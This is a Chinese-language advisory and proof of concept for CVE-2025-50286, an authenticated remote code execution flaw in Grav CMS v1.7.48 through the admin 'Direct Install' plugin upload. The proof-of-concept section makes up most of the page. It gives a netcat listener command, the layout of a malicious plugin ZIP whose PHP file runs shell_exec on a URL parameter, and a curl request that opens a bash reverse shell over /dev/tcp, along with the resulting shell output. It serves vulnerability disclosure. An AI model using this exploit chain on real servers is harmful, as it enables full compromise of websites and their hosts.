Grav CMS v1.7.48 / Admin Plugin v1.10.48 - 通过插件上传实现的认证 RCE（CVE-2025-50286）

Grav CMS v1.7.48 配合 Admin Plugin v1.10.48 存在通过“Direct Install”插件上传功能触发的**远程代码执行（RCE）**漏洞，允许已认证的管理员在服务器上执行任意 PHP 代码。

CVE 编号

CVE-2025-50286

概述

• 类型： 认证远程代码执行（RCE）
• 位置： /admin/tools/direct-install（管理面板 > 工具 > 直接安装）
• 影响： 任意 PHP 代码执行，可能导致系统完全失陷
• 认证要求： 是（需要管理员权限）
• 受影响版本： Grav CMS v1.7.48 / Admin Plugin v1.10.48

概念验证

1. 准备一个监听器：

   root@kitploit:~

   nc -lvnp 4444
   

2. 以管理员身份登录 Grav 管理面板。

3. 导航至 Tools > Direct Install。

4. 上传一个构造如下结构的恶意插件 ZIP（evilplugin.zip）：

   root@kitploit:~

   evilplugin/
   ├── evilplugin.php         ← contains: shell_exec($_GET['cmd'])
   └── blueprints.yaml        ← minimal blueprint to pass validation
   

5. 触发反弹 Shell：

   root@kitploit:~

   curl --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/host.docker.internal/4444 0>&1'" http://<target>/
   

6. 收到反弹 Shell：

   root@kitploit:~

   $ nc -lvnp 4444
   Listening on 0.0.0.0 4444
   Connection received on <target-ip>
   www-data@target:/var/www/html$ whoami
   www-data
   

受影响组件

• 端点：/admin/tools/direct-install
• 功能：未经验证的插件上传与自动加载

测试环境

• Debian 11
• Apache2 + PHP 7.4
• Grav CMS v1.7.48（含 Admin Plugin v1.10.48）

发现者

@binneko

参考

• Grav CMS GitHub
• CVE 记录 - CVE-2025-50286

免责声明

仅供教育和防御目的使用。